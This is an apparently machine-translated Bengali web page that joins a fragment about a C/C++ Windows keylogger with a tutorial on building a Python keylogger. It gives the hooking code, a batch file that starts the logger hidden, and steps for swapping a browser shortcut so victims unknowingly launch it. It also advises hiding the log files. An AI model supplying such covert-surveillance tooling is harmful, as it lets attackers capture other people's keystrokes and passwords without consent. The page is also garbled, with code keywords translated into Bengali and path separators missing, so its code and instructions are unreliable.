dwhkl — কীবোর্ড লেআউট শনাক্তকারী।
রিটার্ন মান হল lpChar বাফারে লেখা অক্ষরের সংখ্যা। 1টি অক্ষর লেখা হলে আমরা সেই ক্ষেত্রে আগ্রহী।
মূলত, সহজতম কীবোর্ড লগারের জন্য এই তিনটি প্রধান ফাংশন প্রয়োজন।

প্রোগ্রাম সম্পর্কে একটু

প্রোগ্রামটি ভিজ্যুয়াল স্টুডিও 2013-এ RTL ছাড়াই সংকলিত হয়েছে। এইভাবে, আমরা এক্সিকিউটেবল ফাইলের একটি ছোট আকার এবং ডিবাগ সংস্করণে নির্মাণের অসম্ভবতা পাই। ডেটা একই ডিরেক্টরিতে একটি লগ ফাইলে লেখা হয় যেখানে .exe ফাইলটি অবস্থিত। সুবিধার জন্য, লগার প্রতিবার রেকর্ড করার সময় একটি নতুন ফাইল তৈরি করে, কী প্রেস করার সময় রেকর্ড করে, যে উইন্ডোতে অক্ষরগুলি প্রবেশ করা হয়েছিল তার নাম এবং LSHIFT+RSHIFT টিপে থামে। এই স্নিফারটি সম্পূর্ণ কীবোর্ডের জন্য অভিযোজিত নয়; কিছু পরিষেবা কী, যেমন F13 বা NUM_LOCK, হিসাবে লেখা যেতে পারে। আমি মনে করি যারা কমপক্ষে C/C++ এর সাথে একটু পরিচিত তারা সহজেই তাদের যুক্ত করতে পারেন। তাছাড়া, আপনি আপনার উপযোগী কোড সম্পূর্ণরূপে পরিবর্তন করতে পারেন।

হ্যালো, QUAZAR আবার এখানে আছে. আজ আমি আপনাদের দেখাবো কিভাবে পাইথনে একটি সহজ কীলগার তৈরি করা যায়। অবশ্যই, এই কীলগার যেমন দৈত্যদের সাথে প্রতিযোগিতা করতে পারে না, তবে এটি সত্ত্বেও, এটি এর ব্যবহার খুঁজে পেতে পারে।

একটি keylogger কি?

আপনি কী-লগার কী এবং কী-লগারের ধরন সম্পর্কে ““ নিবন্ধে বিস্তারিত পড়তে পারেন। বিষয়ে অতিরিক্ত উপকরণ খুঁজে পেতে, সাইট অনুসন্ধান ব্যবহার করুন, যা উপরের ডান কোণায় অবস্থিত। শুধু "keylogger" বা "keylogger" শব্দটি লিখুন।

পাইথনে সহজ কী-লগার

একটি কীলগার তৈরি করতে আমাদের প্রয়োজন:

  • অপারেটিং সিস্টেম: উইন্ডোজ বা ম্যাকও (যেকোন লিনাক্সও ব্যবহার করা যেতে পারে, তবে আমি ব্যক্তিগতভাবে চেষ্টা করিনি)
  • পাইথন টার্গেট মেশিনে ইনস্টল করা আছে, সেইসাথে বিশেষ লাইব্রেরি।

এই উপাদান কেবল তথ্যের জন্য। এই নিবন্ধে উপস্থাপিত তথ্য শুধুমাত্র তথ্যের উদ্দেশ্যে প্রদান করা হয়. ওয়েবসাইট www.site এর সম্পাদক বা প্রকাশনার লেখক এই নিবন্ধের উপাদান দ্বারা সৃষ্ট কোন ক্ষতির জন্য কোন দায় বহন করেন না।

পাইথনে একটি সাধারণ কীলগার তৈরি করা

প্রথমে আপনাকে পাইথন ডাউনলোড এবং ইনস্টল করতে হবে।


পাইথনে সহজ কীলগার

পাইথন ইনস্টল করার পরে, আপনাকে "pyHook" এবং "pywin32" মডিউলগুলি ইনস্টল করতে হবে। এই সাইটে আপনি Windows এবং অন্যান্য OS এর জন্য 32 এবং 64 বিট সংস্করণ পাবেন। আপনার Python এবং Windows (32bit বা 64bit) এর ইনস্টল করা সংস্করণ অনুযায়ী "PYhook" এবং "pyWin32" ডাউনলোড করুন।


পাইথনে কীলগার। পাইথনে PYhook Keylogger মডিউল। pyWin32 মডিউল

একবার ডাউনলোড হয়ে গেলে, স্টার্ট মেনু থেকে IDLE (Python GUI) মেনু ইনস্টল করুন এবং খুলুন।

পাইথনে সহজ কীলগার

"ফাইল" মেনুতে যান এবং "নতুন ফাইল" আইটেমটিতে ক্লিক করুন। তারপর keylogger কোড পেস্ট করুন:

#নামঃ কোয়াজার
#ওয়েবসাইট: www.site
পাইহুক, পাইথনকম, সিএস, লগিং আমদানি করুন
file_log = "C:keyloggerlog.txt"
def OnKeyboardEvent(ইভেন্ট):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format="%(message)s")
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
রিটার্ন সত্য
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

এবং Keylogger.pyw ফাইলে কল করে এটি সংরক্ষণ করুন। রুট ডিরেক্টরি সি-তে ফাইলটি সংরক্ষণ করবেন না: যেখানে ফাইলগুলি অনুলিপি এবং মুছে ফেলার জন্য আপনার প্রশাসকের অধিকার প্রয়োজন। আপনার C: ড্রাইভে একটি নতুন ফোল্ডার তৈরি করুন বা অন্য কোনো স্থানে যেখানে ফাইল কপি করতে এবং Keylogger.pyw সংরক্ষণ করার জন্য আপনার প্রশাসকের অধিকারের প্রয়োজন নেই।

আপনি আউটপুট রিপোর্ট ফাইল “file_log = “C:keyloggerlog.txt” হিসাবে যেকোনো অবস্থান নির্বাচন করতে পারেন, তবে আপনার হার্ড ড্রাইভে অবশ্যই কিছু লুকানো অবস্থান বেছে নিতে পারেন। এই উদাহরণে, আমি রিপোর্ট ফাইলটিকে রুট ডিরেক্টরি সি:-তে ডিস্কে সংরক্ষণ করব। সর্বোপরি, আমার লুকানোর কিছু নেই।

পাইথনে একটি কীলগার স্বয়ংক্রিয়ভাবে চালু করা হয়েছে

কীলগার প্রস্তুত। এখন আমাদের নিশ্চিত করতে হবে যে কী-লগার ব্যবহারকারীর কাছ থেকে লুকানো শুরু হয় এবং যখন উইন্ডোজ বুট হয় তখন স্বয়ংক্রিয়ভাবে। এটি বিভিন্ন উপায়ে বাস্তবায়ন করা যেতে পারে। আসুন একটি ব্যাট ফাইল ব্যবহার করে এটি করার চেষ্টা করি কোন প্রোগ্রামের সাথে কীলগারের লঞ্চটিকে লিঙ্ক করে বা এটিকে স্টার্টআপে নিবন্ধন করে।

প্রথমে একটি ব্যাট ফাইল তৈরি করুন। নোটপ্যাডে নিম্নলিখিত কোড কপি করুন এবং পেস্ট করুন:

::নাম: কোয়াজার
::ওয়েবসাইট: www.site
@ইকো বন্ধ
শুরু করুন "" "C:keyloggerkeylogger.pyw"
শুরু করুন "" "C:Program FilesOperalauncher.exe"

প্রথম লাইনে আপনাকে keylogger.pyw ফাইলের পাথ প্রবেশ করতে হবে (আমার ক্ষেত্রে “C:keylogger.pyw”)। দ্বিতীয় লাইনে, আপনাকে অবশ্যই প্রোগ্রামটির পাথ প্রবেশ করতে হবে যা ব্যবহারকারী সাধারণত ব্যবহার করে (আমার ক্ষেত্রে, অপেরা ব্রাউজার)।

সম্পাদনা করার পরে, আপনার কম্পিউটারে কিছু লুকানো অবস্থানে (আমার ক্ষেত্রে "C:keylogger.bat") একটি .bat এক্সটেনশন (আমার ক্ষেত্রে logger.bat) দিয়ে ফাইলটি সংরক্ষণ করুন।

এখন ডেস্কটপে যান এবং একটি ঘন ঘন ব্যবহৃত প্রোগ্রামের জন্য একটি শর্টকাট নির্বাচন করুন (আমার ক্ষেত্রে, এটি অপেরা ব্রাউজার)। প্রসঙ্গ মেনুতে কল করতে মাউসের ডান-ক্লিক করুন এবং শর্টকাট বৈশিষ্ট্যে যান। "অবজেক্ট" ফিল্ডে, কীলগার ব্যাট ফাইল "C:keyloggerlogger.bat" এর পাথ লিখুন।

পরিবর্তন করার পরে, শর্টকাট আইকনও পরিবর্তন হবে। কিন্তু বৈশিষ্ট্য ট্যাবে এটি সহজেই সমাধান করা যেতে পারে (উপরের স্ক্রিনশট দেখুন)।

বিষয়ে প্রকাশনা